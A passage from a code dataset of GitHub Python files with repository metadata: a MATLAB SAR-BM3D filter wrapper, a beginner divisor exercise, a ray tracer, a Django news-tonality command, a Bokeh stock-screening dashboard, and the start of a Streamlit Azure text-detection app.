'SARBM3D_v10_win64')\n\n # Make output folder if it doesn't exist\n self.OUT_DIR_PYTHON = os.path.join(self.SAMRBM3D_DIR, 'temp')\n try:\n os.makedirs(self.OUT_DIR_PYTHON)\n except FileExistsError:\n pass\n\n def sar_bm3d_filter(self, image, image_name, L=50):\n \"\"\"\n Performs SAR-BM3D filter on an ndarray. This is tricky because ndarrays cannot be natively passed to MATLAB.\n Instead, scipy.io.savemat is used to save the ndarray to a file, then the name of this file is passed to Matlab.\n Which opens the file, processes it, and returns it.\n :param image: 2D ndarray representing image to apply SAR-BM3D to\n :param image_name: Unique name of the image\n :param L: L parameter for SAR-BM3D filter. L=50 did not sacrifice too much texture\n :return: 2D ndarray representing image after filtering\n \"\"\"\n width, height = image.shape\n out_file = '{}.mat'.format(image_name)\n out_file_python = os.path.join(self.OUT_DIR_PYTHON, out_file)\n out_file_matlab = os.path.join('temp', out_file)\n\n image = image.astype(np.double) # The MATLAB SAR-BM3D filter wants the image encoded as a double.\n savemat(out_file_python, {'image_data': image}) # Encode the numpy ndarray as a MATLAB .mat file\n FILTERED_IMAGE = self.eng.SARBM3D_Python_Helper(out_file_matlab, L)\n FILTERED_IMAGE = np.array(FILTERED_IMAGE._data) # Convert from mlarray.double into numpy ndarray\n # Rescale back to [-1, 1]\n FILTERED_IMAGE = FILTERED_IMAGE.astype(np.float32) # Convert back to float32\n FILTERED_IMAGE = FILTERED_IMAGE.reshape((width, height), order='F') # Reshape into original width and height\n FILTERED_IMAGE = cv2.normalize(FILTERED_IMAGE, None, alpha=-1, beta=1, norm_type=cv2.NORM_MINMAX,\n dtype=cv2.CV_32F)\n os.remove(out_file_python) # Delete the .mat file\n return FILTERED_IMAGE\n\n def connect_matlab(self):\n # Initialise MATLAB engine\n self.eng = matlab.engine.start_matlab()\n # Check if SARBM3D_v10_win64 executables folder exists\n if not os.path.exists(self.SAMRBM3D_DIR):\n raise FileNotFoundError('SARBM3D_v10_win64 executables missing. Place them in: ' + self.SAMRBM3D_DIR)\n # Switch to directory\n self.eng.cd(self.SAMRBM3D_DIR, nargout=0)\n\n def disconnect_matlab(self):\n self.eng.quit()","repo_name":"OscarVanL/COMP3200-Individual-Project-Texture-Classification","sub_path":"algorithms/SARBM3D.py","file_name":"SARBM3D.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"33578168979","text":"numero=int(input(\"Escriba un numero entero mayor a 0: \"))\ncontador=0\n\nif numero>0:\n\n for i in range(1,numero+1):\n \n if (numero%i)==0:\n print(f\"{i} es divisor\")\n contador+=1\n print(f\"El numero {numero} tiene {i} divisores\")\nelse:\n print(\"Error\")\n\n","repo_name":"andreasop01/Python-Primeros-Ejercicios","sub_path":"Unidad 0/ActividadPyton2Semana/Actividad2.py","file_name":"Actividad2.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25395691929","text":"import sys \nimport numpy as np\n\nclass Ray:\n def __init__(self,start_point,direction):\n self.start_point = start_point\n self.dir = direction\n self.depth = 1\n \n def set_depth(self, depth):\n self.depth = depth \n\n#output img\ndef output_img(name,width,height,output):\n f = open(name, \"w\")\n f.write(\"P3 \\n\") #image format \n f.write(str(width) + \" \" + str(height) + \" \\n\") #width,height\n f.write(\"255\\n\") #maximum color value\n pixel = \"\"\n \n for h in range(height):\n for w in range(width):\n color = output[h][w]\n pixel += \" \" + str(color[0] * 255) + \" \" + str(color[1] * 255) + \" \" + str(color[2] * 255)\n \n f.write(pixel + \"\\n\")\n pixel = \"\"\n f.close()\n \n#values \nnear = 0.0\nleft = 0.0\nright = 0.0\nbottom = 0.0\ntop = 0.0\nres = []\nspheres = []\nlights = []\nback_color = []\nambient = []\noutput = ''\nfinal_color = []\n\n#read value and phrasing them into the value\ndef read_file(arg):\n global near,left,right,bottom,top,res,spheres,lights,back_color,ambient,output\n f = open(arg, \"r\")\n for lines in f:\n line = lines.split()\n if(len(line) != 0):\n if(line[0] == 'OUTPUT'):\n output = line[1]\n elif(line[0] == 'LEFT'):\n left = float(line[1]) \n elif(line[0] == 'RIGHT'):\n right = float(line[1]) \n elif(line[0] == 'BOTTOM'):\n bottom = float(line[1]) \n elif(line[0] == 'TOP'):\n top = float(line[1]) \n elif(line[0] == 'NEAR'):\n near = float(line[1]) \n elif(line[0] == 'AMBIENT'):\n ambient = np.array([float(line[1]) , float(line[2]) , float(line[3])])\n elif(line[0] == 'BACK'):\n back_color = np.array([float(line[1]) , float(line[2]) , float(line[3])])\n elif(line[0] == 'RES'):\n res = [int(line[1]), int(line[2])]\n elif(line[0] == 'LIGHT'):\n light = {\n \"name\" : line[1] ,\"pos_x\" : float(line[2]),\"pos_y\" : float(line[3]), \"pos_z\" : float(line[4]),\n \"lr\" : float(line[5]),\"lg\" : float(line[6]),\"lb\" : float(line[7])\n }\n lights.append(light)\n elif(line[0] == 'SPHERE'):\n sphere = {\n \"name\" : line[1],\"pos_x\" : float(line[2]),\"pos_y\" : float(line[3]),\"pos_z\" : float(line[4]),\n \"scl_x\" : float(line[5]),\"scl_y\" : float(line[6]),\"scl_z\" : float(line[7]) ,\n \"r\" : float(line[8]),\"g\" : float(line[9]),\"b\" : float(line[10]),\n \"ka\" : float(line[11]),\"kd\" : float(line[12]),\"ks\" : float(line[13]),\"kr\" : float(line[14]),\"n\" : int(line[15]),\"radius\" : 1 \n }\n model_matrix = np.array([[sphere.get(\"scl_x\"),0,0,sphere.get(\"pos_x\")],\n [0,sphere.get(\"scl_y\"),0,sphere.get(\"pos_y\")],\n [0,0,sphere.get(\"scl_z\"),sphere.get(\"pos_z\")],\n [0,0,0,1]])\n sphere.update({\"model_matrix\" : model_matrix})\n sphere.update({\"model_inverse_matrix\": np.linalg.inv(sphere.get(\"model_matrix\"))})\n spheres.append(sphere)\n f.close()\n\nread_file(sys.argv[1])\n# get magnitude of X\ndef magnitude(x):\n return np.sqrt(np.squeeze(x).dot(np.squeeze(x)))\n#get normalized X\ndef normalize (x):\n return x / magnitude(x)\n\n\neye = np.array([0,0,0])\nu = np.array([1,0,0])\nv = np.array([0,1,0])\nn = np.array([0,0,1])\n\n# for each pixel, call ray tracer\ndef check_pixel():\n for h in range(res[1]-1,-1,-1):\n width_color = []\n for w in range(res[0]):\n #calculate pixel in world coord\n uc = -right + right*2*(w)/res[0]\n vr = -top + top*2*(h)/res[1]\n p_world = eye - near*n + uc*u + vr * v\n ray = Ray(eye, p_world - eye)\n color = ray_trace(ray)\n #add to the color array \n width_color.append(color)\n final_color.append(width_color)\n return final_color\n\n#check if the sphere is intersecting \n#Returns the interesecting distance and interesection point\ndef check_sphere_intersect(ray, current_sphere):\n temp_th = np.inf\n #matrix multiplication to find inverse transformed ray\n sp = ray.start_point\n sd = ray.dir\n p = 0\n th1 = 0\n th2 = 0\n #calculate inverse transformed ray with Homogeneous coord \n #@ for np multiplication operator \n ivr = Ray(current_sphere.get(\"model_inverse_matrix\")@np.vstack([sp[0],sp[1],sp[2],1]), \n current_sphere.get(\"model_inverse_matrix\")@np.vstack([sd[0],sd[1],sd[2],0]))\n #drop inverse transformed ray Homogeneous coord\n ivr = Ray(np.vstack([ivr.start_point[0],ivr.start_point[1],ivr.start_point[2]]), \n np.vstack([ivr.dir[0],ivr.dir[1],ivr.dir[2]])) \n #find quadratic equation \n a = np.square(np.sqrt(np.squeeze(ivr.dir).dot(np.squeeze(ivr.dir))))\n b = np.dot(np.squeeze(ivr.start_point),np.squeeze((ivr.dir)))\n c = np.square(np.sqrt(np.squeeze(ivr.start_point).dot(np.squeeze(ivr.start_point)))) - 1\n #check if interset \n if (np.square(b) - a * c) > 0:\n #check closest intersetion \n th1 = -b/a + np.sqrt(np.square(b) - a * c)/a\n th2 = -b/a - np.sqrt(np.square(b) - a * c)/a \n temp_th = th1\n if abs(th2) < abs(th1):\n temp_th = th2\n p = ivr.start_point + ivr.dir * temp_th\n #fix floating point error \n if(temp_th > -5e-08 and temp_th < 5*10**-4):\n temp_th = 0\n return temp_th, p\n\n#Ray Tracer\ndef ray_trace(ray):\n th = np.inf\n interset_sphere = 0\n p_sphere_space = 0\n # if this is reflection ray and it bounced more than 3 times return black\n if ray.depth > 3:\n return np.array([0, 0, 0])\n # for each sphere, check if it intersect, get distance and interesection point in transform coord\n for sphere in spheres:\n temp_th,temp_p = check_sphere_intersect(ray, sphere)\n # check if it return the distance of intersection \n if temp_th < th and temp_th >= 0.4:\n th = temp_th - 0.000001\n interset_sphere = sphere \n p_sphere_space = temp_p \n\n # if this is reflection ray and it hit nothing return black\n if ray.depth > 1 and th == np.inf:\n return np.array([0, 0, 0]) \n #if not intersect return back color\n if th == np.inf:\n return back_color\n #calculate the interesction point in world coord\n p = ray.start_point + ray.dir * th\n #get sphere color\n sphere_color = np.array([interset_sphere.get(\"r\"),interset_sphere.get(\"g\"),interset_sphere.get(\"b\")])\n # use interesection point in transform coord and make it homogen and calcualte the normal of the sphere in world coord\n homo_p_sphere_space = np.vstack([p_sphere_space[0],p_sphere_space[1],p_sphere_space[2],0])\n normal = np.transpose(interset_sphere.get(\"model_inverse_matrix\"))@homo_p_sphere_space\n # calculate the diffuse color and add to the color\n color = sphere_color * ambient * interset_sphere.get(\"ka\")\n #calculate N V for ADS lithing model \n N = normalize(p)\n V = normalize(np.vstack(ray.start_point) - np.vstack(p))\n #normalize normal for the sphere\n normal = np.vstack([normal[0],normal[1],normal[2]])\n normal = normalize(normal)\n for light in lights:\n light_color = np.array([light.get(\"lr\"),light.get(\"lg\"),light.get(\"lb\")])\n light_pos = np.array([light.get(\"pos_x\"),light.get(\"pos_y\"),light.get(\"pos_z\")])\n # L for ads \n L = normalize(np.vstack(light_pos) - np.vstack(p) )\n light_ray = Ray(p, L)\n ray_th = np.inf\n p_light_space = 0\n for sphere in spheres:\n # print(\"current sphere : \" + interset_sphere.get(\"name\"), end=\" \")\n temp_th,temp_p = check_sphere_intersect(light_ray,sphere)\n # print(\" \"+ str(temp_th) + \" with sphere \"+ sphere.get(\"name\") + \" on light\" + light.get(\"name\")) \n if(temp_th < ray_th and temp_th >= 0):\n ray_th = temp_th\n p_light_space = temp_p\n \n # add shadow ray to the sphere \n # get diffuse color and specular color add to the color\n if(interset_sphere.get(\"ks\") != 0 or interset_sphere.get(\"kd\") != 0):\n if(ray_th == np.inf) or (ray_th > magnitude(np.vstack(light_pos) - np.vstack(p)) and ray_th!= 0):\n ndotL = np.dot(np.squeeze(normal),np.squeeze((np.vstack(L))))\n diffuse_color = light_color * sphere_color * ndotL * interset_sphere.get(\"kd\")\n # print(diffuse_color)\n R = 2*ndotL*normal - L\n color += diffuse_color\n specular_color = light_color *(np.power(np.dot(np.squeeze(R), np.squeeze(V)), interset_sphere.get(\"n\"))) * interset_sphere.get(\"ks\")\n # print(specular_color)\n color += specular_color\n\n #reflected Ray \n ndotc = np.dot(np.squeeze(np.vstack(normal)),np.squeeze((np.vstack(ray.dir))))\n v = -2* ndotc * np.vstack(normal) + np.vstack(ray.dir)\n if(interset_sphere.get(\"kr\") != 0):\n reflect_ray = Ray(np.vstack(p),np.vstack(v))\n reflect_ray.set_depth(ray.depth + 1)\n color += (ray_trace(reflect_ray) * interset_sphere.get(\"kr\"))\n # clamp color to 1\n color = np.clip(color,0,1)\n return color\n\n#debug function to check in pixel \ndef debug_check_pixel(w,h):\n h = 600 - h\n uc = -right + right*2*(w)/res[0]\n vr = -top + top*2*(h)/res[1]\n p_world = eye - near*n + uc*u + vr * v\n ray = Ray(np.vstack(eye), np.vstack(p_world - eye))\n ray_trace(ray)\n\noutput_img(output, res[0], res[1],check_pixel()) \n\n","repo_name":"Maxroo/RayTracer","sub_path":"RayTracer.py","file_name":"RayTracer.py","file_ext":"py","file_size_in_byte":9903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28697876825","text":"\"\"\"Console commands for calculating tonality.\"\"\"\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.utils import timezone\nfrom django.conf import settings\nimport datetime\nimport sys\nimport pytz\nfrom models.models import NewsMessage, NewsTonal, NewsTonalDaily\n\n\nclass Command(BaseCommand):\n \"\"\"Main class for calculating daily tonality.\"\"\"\n\n help = \"Calculate tonality for news per days.\"\n\n def handle(self, *args, **options):\n \"\"\"Run command.\"\"\"\n today = datetime.datetime.now()\n tz = pytz.timezone(settings.TIME_ZONE)\n today = tz.localize(today)\n start_day = today - datetime.timedelta(days=1)\n start_day = start_day.replace(hour=0, minute=0, second=0)\n end_day = start_day.replace(hour=23, minute=59, second=59)\n all = NewsTonal.objects.all().filter(\n news_item__date__gt=start_day,\n news_item__date__lt=end_day\n ).order_by(\"news_item__date\")\n if len(all) < 1:\n sys.exit(\"Emply news list\")\n news_in_one_day = []\n for it in all:\n news_in_one_day.append(it.tonality_index)\n tonality_yesterday = self.get_tonality(news_in_one_day)\n tonality = 0\n if tonality_yesterday > 0:\n tonality = 1\n elif tonality_yesterday < 0:\n tonality = -1\n obj, created = NewsTonalDaily.objects.get_or_create(\n date=start_day\n )\n obj.tonality_index = tonality_yesterday\n obj.tonality = tonality\n obj.save()\n\n def get_tonality(self, list_of_tonalities):\n \"\"\"Calculate avarage tonality from provided list.\"\"\"\n val = 0\n if len(list_of_tonalities) < 1:\n return val\n for it in list_of_tonalities:\n val += it\n return round(val/len(list_of_tonalities), 2)\n","repo_name":"doctorjuta/newsparser","sub_path":"models/management/commands/calctonality_daily.py","file_name":"calctonality_daily.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11883859744","text":"from bokeh.io import curdoc\nfrom bokeh.layouts import column, row, layout, Spacer\nfrom bokeh.models import ColumnDataSource, Slider, Select,Panel,RangeSlider,Tabs, TableColumn,\\\n DataTable,Arrow,OpenHead,Div, HoverTool, MultiChoice, CustomJS\n\nfrom bokeh.plotting import figure\nimport pandas as pd\nimport numpy as np\nimport json\nfrom value_transform import value_transfrom\n\ndef Persistence_EM_Matrix():\n ### ------------ read files ------------\n \n final = pd.read_csv('./data/App_data/AQ_EM_tse_final.csv',encoding='utf-8')\n profit = pd.read_csv('./data/App_data/AQ_EM_tse_final_profibility_1.csv',encoding='utf-8')\n profit['company_name'] = profit.company.astype(str)+\" \"+profit.company_abbreviation\n #此檔案中放的為dict, key為用途及名稱,value為list\n with open('app_lists.json','r')as f: \n app_lists = json.load(f)\n with open('smallco.json','r')as f: \n smallco_index = json.load(f)\n \n ### ------------ 左側的選項 ------------\n\n year = Select(title='Year:',value='200812',\n options=list(final.yyyymm.drop_duplicates().sort_values().astype(str)))\n\n industry = Select(title='Industry:',value='水泥工業',\n options = list(profit.tse_industry_name.drop_duplicates())+['All Sectors'])\n\n index_factor = Select(title='Compared Market Index:',value='TWN50',options=[\"TWN50\", \"TM100\",\"TF001\"])\n\n company_list = list((profit.query(\"yyyymm==200812 & tse_industry_name=='水泥工業'\").company_name.astype(str)))\n\n company_code = Select(title='Company Code: ',value='',options=['']+company_list)\n\n persistence = Select(title='Persistence:',value='ebit_slope_standard',\n options= app_lists['options_persistence'])\n\n EM = Select(title='EM:',value='Jones_model_measure',options=app_lists['options_EM'])\n\n profit_measure = Select(title='Profit Measure:',value='ROA_ebi',\n options=app_lists['options_profit_measure'])\n\n Persistence_percent = RangeSlider(start=0, end=100,value=(20,40), step=1, title=\"Persistence % :\")\n EM_percent = RangeSlider(start=0, end=100,value=(20,40), step=1, title=\"EM %:\")\n\n #根據選擇日期、產業更新公司列表選項\n ###############################################################################\n def update_company_list(attr,old,new):\n selected_year = year.value\n selected_industry = industry.value\n if selected_industry !='All Sectors':\n company_list = list((profit.query(\"yyyymm==@selected_year & tse_industry_name==@selected_industry\").\\\n company_name.sort_values().astype(str)))\n #前面加入空値,代表沒有選公司\n company_code.options = ['']+company_list\n #default 為空値\n company_code.value = ''\n else:\n company_list = list((profit.query(\"yyyymm==@selected_year\").\\\n company_name.sort_values().astype(str)))\n #前面加入空値,代表沒有選公司\n company_code.options = ['']+company_list\n #default 為空値\n company_code.value = ''\n\n #選出畫圖的資料\n ###############################################################################\n def get_plot_data():\n selected_year=year.value\n selected_industry = industry.value\n selected_index_factor = index_factor.value\n selected_Persistence = persistence.value\n selected_EM = EM.value\n selected_profit_measure = profit_measure.value\n if selected_industry !='All Sectors':\n data = profit.query('yyyymm == @selected_year & tse_industry_name == @selected_industry')\n else :\n data = profit.query('yyyymm == @selected_year')\n #依據日期、產業選擇\n data = data[(data[selected_Persistence].notna()) & (data[selected_EM].notna())]\n #因為有可能選擇的資料也是之後要保留的資料,因此先備份,以免在rename後找不到資料\n origin_data = [selected_Persistence,selected_EM,selected_profit_measure]\n origin = data[origin_data]\n #重新命名,在ColumnDataSource中較好使用\n data.rename(columns={selected_Persistence:'Persistence',selected_EM:'EM',selected_index_factor:'index_factor',\n selected_profit_measure:'profit_measure'} , inplace=True)\n for i in origin_data:\n data[i] = origin[i]\n data['Persistence'] = data.Persistence.apply(lambda x:value_transfrom(x,selected_Persistence))\n data['EM'] = data.EM.apply(lambda x:value_transfrom(x,selected_EM))\n data['color'] = data['index_factor'].apply(lambda x:'green' if x=='Y' else 'blue')\n data['color'] = data.apply(lambda x:'red' if str(x.company) in smallco_index['2020'] else x.color, 1)\n\n profit_min = data['profit_measure'].min()\n profit_range = data['profit_measure'].max()-data['profit_measure'].min()\n data['profit_score'] = data['profit_measure'].apply(lambda x:((x-profit_min)/profit_range)*25+5\\\n if profit_range!=0 else 30 if x==1 else 5)\n table_data = data[app_lists['select_stock_picking_table_column']]\n data_for_source = data.fillna('--')\n if company_code.value!='':\n data_for_source['text'] = data_for_source['company'].apply(lambda x:'.Here' if x==int(company_code.value[:4])else '')\n else :\n data_for_source['text']=''\n data_for_source = data_for_source[~data_for_source.isin([np.nan, np.inf, -np.inf]).any(1)]\n if company_code.value!='':\n select_co = int(company_code.value[:4])\n data_for_source['select_p'] = data.query('company==@select_co')['Persistence'].to_list()[0]\n data_for_source['select_e'] = data.query('company==@select_co')['EM'].to_list()[0]\n else :\n data_for_source['select_p'] = np.nan\n data_for_source['select_e'] = np.nan\n\n plot_source = ColumnDataSource(data_for_source)\n return (plot_source,table_data)\n def get_stock_picking_table_data(table_data):\n df = table_data\n Persistence_top = df.Persistence.quantile(Persistence_percent.value[1]/100)\n Persistence_low = df.Persistence.quantile(Persistence_percent.value[0]/100)\n EM_top = df.EM.quantile(EM_percent.value[1]/100)\n EM_low = df.EM.quantile(EM_percent.value[0]/100)\n df = df.query('Persistence <= @Persistence_top & Persistence >= @Persistence_low & EM <= @EM_top & EM >= @EM_low')\n df = df.applymap(lambda x:round(x,2) if type(x)==float else x)\n stock_picking_table_co_choice.options = (df.company.astype(str)+' '+df.company_abbreviation).sort_values().to_list()\n stock_picking_table_co_num.text = f'Total: {df.shape[0]} company'\n return ColumnDataSource(df)\n\n def get_stock_return_table_2_data():\n selected_year=year.value\n selected_index_factor = index_factor.value\n df = profit.rename(columns={selected_index_factor:'index_factor'})\n df = df.query('yyyymm == @selected_year & index_factor==\"Y\"')\n return ColumnDataSource(df)\n\n def get_stock_return_table_3_data(stock_picking_table_source,stock_return_table_2_source):\n if stock_picking_table_source.data['yearly_return'].size ==0 :\n stock_average = [' ']\n else : stock_average = [round(np.nanmean(stock_picking_table_source.data['yearly_return']),4)]\n\n if stock_return_table_2_source.data['yearly_return'].size ==0 :\n etf_average = [' ']\n else : etf_average = [round(np.nanmean(stock_return_table_2_source.data['yearly_return']),4)]\n\n return ColumnDataSource(data={'Stock Picking Return (Equally Weighted)':stock_average,\n \"ETF Return (Equally Weighted)\" :etf_average \n })\n def get_matrix_plot_data():\n selected_year=year.value\n df = profit.query('yyyymm == @selected_year')\n df = df[app_lists['options_persistence']+app_lists['options_EM']].corr()\n df = df.apply(lambda x:round(x,2))\n return ColumnDataSource(df)\n ###################################################\n # 製作圖、表 \n def make_scatter_plot(plot_source):\n hover = HoverTool( names=['circle'],\n tooltips=[('Company Abbreviation :','@company_abbreviation'),\n ('Company Code :','@company'),\n ('Persistence','@Persistence'),\n ('EM :','@EM'),('ROA (EBI) :','@ROA_ebi'),\n ('EPS :','@eps'),('ROE_b :','@ROE_b'),\n ('Diluted EPS :','@eps_diluted'),('Yearly Return','@yearly_return')]\n )\n plot = figure(plot_height=500, plot_width=800,\n tools = ['box_zoom','reset',hover],\n x_axis_label='Persistence (Log Transformed)',\n y_axis_label='EM (Log Transformed)', \n toolbar_location=\"right\"\n )\n plot.circle(x=\"Persistence\", y=\"EM\", source=plot_source,color= 'color',size='profit_score', name='circle',\n line_color=None,alpha=0.5)\n# plot.text('Persistence','EM','text',source=plot_source,color='red',text_font_style='bold',text_font_size='20pt')\n plot.asterisk('select_p','select_e',source=plot_source,color='red',size=20)\n plot.toolbar.active_drag = None\n return plot\n def make_stock_picking_table(stock_picking_table_source):\n columns = []\n for colnames in stock_picking_table_source.data.keys():\n if colnames !='index':\n columns.append(TableColumn(field=colnames, title=colnames, width=6*len(colnames)))\n stock_picking_table = DataTable(source=stock_picking_table_source, columns=columns, width=4000, height = 500)\n return (stock_picking_table)\n\n def make_stock_return_table_1(stock_picking_table_source):\n columns = []\n for colnames in ['tse_industry_name','company','company_abbreviation','index_factor','yearly_return']:\n columns.append(TableColumn(field=colnames, title=colnames, width=6*len(colnames)))\n stock_return_table_1 = DataTable(source=stock_picking_table_source, columns=columns, height = 500)\n return (stock_return_table_1)\n def make_stock_return_table_2(stock_return_table_2_source):\n columns = []\n for colnames in ['tse_industry_name','company','company_abbreviation','index_factor','yearly_return']:\n columns.append(TableColumn(field=colnames, title=colnames, width=6*len(colnames)))\n stock_return_table_2 = DataTable(source=stock_return_table_2_source, columns=columns, height = 500)\n return (stock_return_table_2)\n\n def make_stock_return_table_3(stock_return_table_3_source): \n columns = []\n for colnames in stock_return_table_3_source.data.keys():\n if colnames !='index':\n columns.append(TableColumn(field=colnames, title=colnames, width=6*len(colnames)))\n stock_return_table_3 = DataTable(source=stock_return_table_3_source, columns=columns)\n return (stock_return_table_3)\n\n def make_matrix_plot(matrix_plot_source):\n columns = []\n for colnames in matrix_plot_source.data.keys():\n if colnames =='index':\n columns.append(TableColumn(field=colnames, title=' ', width=200))\n else:\n columns.append(TableColumn(field=colnames, title=colnames, width=6*len(colnames)))\n matrix_plot = DataTable(source=matrix_plot_source, columns=columns, index_position=None, width = 2500, height=300)\n return (matrix_plot)\n ###################################################\n # 更新 \n def update(attr,old,new):\n stock_picking_table_co_choice.value = []\n new_plot_source,new_table_data=get_plot_data()\n plot_source.data.update(new_plot_source.data)\n\n\n new_stock_picking_table_source = get_stock_picking_table_data(new_table_data)\n stock_picking_table_source.data.update(new_stock_picking_table_source.data)\n\n new_stock_return_table_2_source = get_stock_return_table_2_data()\n stock_return_table_2_source.data.update(new_stock_return_table_2_source.data)\n\n new_stock_return_table_3_source = get_stock_return_table_3_data(new_stock_picking_table_source,new_stock_return_table_2_source)\n stock_return_table_3_source.data.update(new_stock_return_table_3_source.data)\n\n new_matrix_plot_source = get_matrix_plot_data()\n matrix_plot_source.data.update(new_matrix_plot_source.data)\n def update_stock_picking(attr,old,new):\n \n pick_list = list(map(lambda x:x[:4],stock_picking_table_co_choice.value))\n new_plot_source,new_table_data=get_plot_data()\n new_stock_picking_table_source = get_stock_picking_table_data(new_table_data)\n df = pd.DataFrame(new_stock_picking_table_source.data).iloc[:,1:]\n if len(pick_list)==0:\n df = df\n else:\n df = df.query('company in @pick_list')\n stock_picking_table_source.data.update(ColumnDataSource(df).data)\n stock_picking_table_co_num.text = f'Total: {df.shape[0]} company'\n \n\n ###################################################\n # initial \n\n plot_source,table_data = get_plot_data()\n plot = make_scatter_plot(plot_source)\n plot_explain = Div(text =\n '''\n 顏色(綠色): 該公司在該年,有被列在所選的Compared Market Index中
\n 顏色(紅色): 該公司在該年,有被列在中小型成分股中
\n 大小: 圈圈越大,代表該公司Profit Measure越大\n ''')\n tab1 = Panel(child=column(Spacer(height=35), plot, Spacer(height=20), plot_explain), title='Persistence EM Matrix')\n\n \n stock_picking_table_co_choice = MultiChoice(title = 'select_company:', value=[], options=[], placeholder = '選擇想看的公司')\n stock_picking_table_co_choice.js_on_change(\"value\", CustomJS(code=\"\"\"\n console.log('multi_choice: value=' + this.value, this.toString())\n \"\"\"))\n stock_picking_table_co_num = Div(text ='Total: company')\n stock_picking_table_source = get_stock_picking_table_data(table_data)\n stock_picking_table = make_stock_picking_table(stock_picking_table_source)\n tab2 = Panel(child=column(stock_picking_table_co_num, stock_picking_table, stock_picking_table_co_choice), title='Stock Picking Table')\n\n div1 = Div(text ='Table 1: The next year return of stocks from the matrix')\n stock_return_table_1 = make_stock_return_table_1(stock_picking_table_source)\n div2 = Div(text ='Table 2: The next year return of stocks in ETF')\n stock_return_table_2_source = get_stock_return_table_2_data()\n stock_return_table_2 = make_stock_return_table_2(stock_return_table_2_source)\n div3 = Div(text ='Table 3: The next year return of equally weighted portfolios')\n stock_return_table_3_source = get_stock_return_table_3_data(stock_picking_table_source,stock_return_table_2_source)\n stock_return_table_3 = make_stock_return_table_3(stock_return_table_3_source)\n tab3 = Panel(child=row([column(div1,stock_return_table_1),\n column(div2,stock_return_table_2),\n column(div3,stock_return_table_3)]),\n title='Stock Return Table')\n\n matrix_plot_source = get_matrix_plot_data()\n matrix_plot = make_matrix_plot(matrix_plot_source)\n matrix_plot_explain = Div(text = \n '''\n Persistence:
\n ebit_slope_standard
\n operating_slope_standard
\n yoy_ebit_standard
\n yoy_operating_standard
\n

\n EM:
\n Jones_model_measure
\n Modified_Jones_model_measure
\n Performance_matching_measure
\n opacity_Jones_model_measure
\n opacity_modified_Jones_model_measure
\n opacity_performance_matching
\n ''')\n tab4 = Panel(child=column(matrix_plot,row(Spacer(width=20), matrix_plot_explain)), title='Correlation Matrix of Persistence & EM')\n\n tabs = Tabs(tabs=[tab1,tab2,tab3,tab4])\n\n ###################################################\n # input change\n year.on_change('value', update, update_company_list)\n industry.on_change('value', update, update_company_list)\n index_factor.on_change('value', update)\n company_code.on_change('value', update)\n persistence.on_change('value', update)\n EM.on_change('value', update)\n profit_measure.on_change('value', update)\n Persistence_percent.on_change('value', update)\n EM_percent.on_change('value', update)\n stock_picking_table_co_choice.on_change('value', update_stock_picking)\n\n ###################################################\n # layout\n div_title = Div(text ='Persistence & EM Matrix',style={'font-size': '200%', 'color': 'blue'})\n inputs = column(div_title,year, industry, index_factor, company_code,persistence,EM,profit_measure,\n Persistence_percent,EM_percent, background='gainsboro')\n final_layout = row(inputs, tabs, width=1200)\n return Panel(child = column(Spacer(height = 35), final_layout), title = 'Persistence & EM 概況')\n\n","repo_name":"bruce851117/HerokuApp","sub_path":"work version/app_matrix.py","file_name":"app_matrix.py","file_ext":"py","file_size_in_byte":18046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43126539251","text":"import json\nimport skimage\nimport requests\nimport streamlit as st\nfrom skimage import draw, io\nimport http.client, urllib.request, urllib.parse, urllib.error, base64\n\ndef write_json_file(json_file_name, data_dict):\n fp = open(json_file_name, 'w')\n json.dump(data_dict, fp, sort_keys=True,\n indent=4, default=lambda o: o.__dict__)\n fp.close()\n return\n\ndef read_json_file(json_file_name):\n data_dict = json.load(open(json_file_name))\n return data_dict\n\ndef search_text_single_image():\n st.title(\"Text finder in images\")\n image_urls_text_file = \"https://stbbdimages.blob.core.windows.net/images/image_urls.txt\"\n list_image_urls = get_images_list(image_urls_text_file)\n list_image_urls = list_image_urls.split(\"\\n\")\n\n min_value = 1\n num_images = len(list_image_urls)\n end_point = st.sidebar.text_input(\"Enter the Azure service end point\", \"cog-bbd.cognitiveservices.azure.com\")\n api_key = st.sidebar.text_input(\"Enter the Azure service API key\")\n image_index = st.sidebar.slider(f\"Select image index ({min_value} - {num_images})\", value=min_value, min_value=min_value, max_value=num_images)\n show_image = st.sidebar.checkbox(\"Display image\", True)\n show_words = st.sidebar.checkbox(\"Display detected words\", False)\n search_key_word = st.sidebar.text_input(\"Enter a key word to search\", \"example\")\n\n st.write(f\"Selected image index : {image_index}\")\n\n st.header(\"Image URL\")\n url_image = list_image_urls[image_index-1]\n st.write(url_image)\n\n if show_image:\n st.header(\"Image\")\n st.image(url_image)\n\n if len(api_key) == 0:\n st.warning(\"API key is empty\")\n return\n\n st.header(\"Words in the image\")\n all_words, all_bounding_boxes = get_words_from_vision_api(url_image, end_point, api_key)\n\n if len(all_words) > 0:\n if show_words:\n for word in all_words:\n st.write(word)\n\n st.header(\"Keyword search result\")\n if search_key_word in all_words:\n st.write(f\"Word : {search_key_word}, is found in the image\")\n else:\n st.write(f\"Word : {search_key_word}, not found in the image\")\n else:\n st.write(\"No words found\")\n return\n\ndef search_text_multi_images():\n image_urls_text_file = \"https://stbbdimages.blob.core.windows.net/images/image_urls.txt\"\n list_image_urls = get_images_list(image_urls_text_file)\n list_image_urls = list_image_urls.split(\"\\n\")\n num_images = len(list_image_urls)\n\n search_key_word = st.sidebar.text_input(\"Enter a key word to search\", \"example\")\n show_images = st.sidebar.checkbox(\"Display images\", False)\n file_json = \"data_images.json\"\n try:\n data_dict_json = read_json_file(file_json)\n except:\n st.warning(f\"File {file_json} does not exist\")\n return\n\n all_images_key_found = []\n for key in data_dict_json.keys():\n words = data_dict_json[key][\"word\"]\n if search_key_word in words:\n all_images_key_found.append(key)\n\n num_images_key_found = len(all_images_key_found)\n st.header(f\"Number of images with the key word : {search_key_word} is {num_images_key_found}\")\n if show_images:\n if 